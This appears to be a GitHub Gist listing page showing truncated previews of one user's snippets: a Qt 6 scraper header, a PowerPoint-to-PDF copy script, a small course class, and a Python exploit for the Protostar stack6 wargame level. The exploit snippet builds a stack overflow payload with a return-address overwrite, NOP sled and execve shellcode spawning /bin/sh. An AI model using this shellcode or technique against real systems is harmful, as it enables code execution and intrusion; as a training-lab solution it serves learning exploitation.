Skip to content

Instantly share code, notes, and snippets.

@lem0n4de
lem0n4de / scraper.cpp
Created May 12, 2022 12:52
c++ qt 6 web scraping
#include "scraper.h"
#include "ui_scraper.h"
#include <QTimer>
#include <QWebEngineProfile>
#include <QWebEngineCookieStore>
#include <QNetworkCookie>
#include <QJsonDocument>
#include <QJsonArray>
#include <QJsonObject>
@lem0n4de
lem0n4de / stack.py
Created July 18, 2019 23:11
Protostar stack6
import struct
padding = 'A'*80
ret = struct.pack('I', 0x080484f9)
esp = struct.pack('I', 0xbffff7c0+32)
nopslide = "\x90"*100
# trap = "\xCC"*100
trap = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding + ret + esp + nopslide + trap
#!/bin/env python
from typing import List
class Ders:
length : int
name : str
path : str
def __init__(self, name : str, length : int, path : str = ""):
self.name = name
import os
import shutil
from pathlib import Path
from dataclasses import dataclass
import comtypes.client
@dataclass
class Item:
name: str
@lem0n4de
lem0n4de / Recursive Copy and Convert Files.py
Last active October 24, 2018 14:06
Personal python script to copy a folder recursively to another point with powerpoint files saved as pdf.
import comtypes.client
import shutil
from pathlib import Path
# Function is from this answer: https://stackoverflow.com/a/31624001
def PPTtoPDF(inputFileName, outputFileName, formatType = 32):
powerpoint = comtypes.client.CreateObject("Powerpoint.Application")
powerpoint.Visible = 1
deck = powerpoint.Presentations.Open(inputFileName)
if deck.ReadOnly: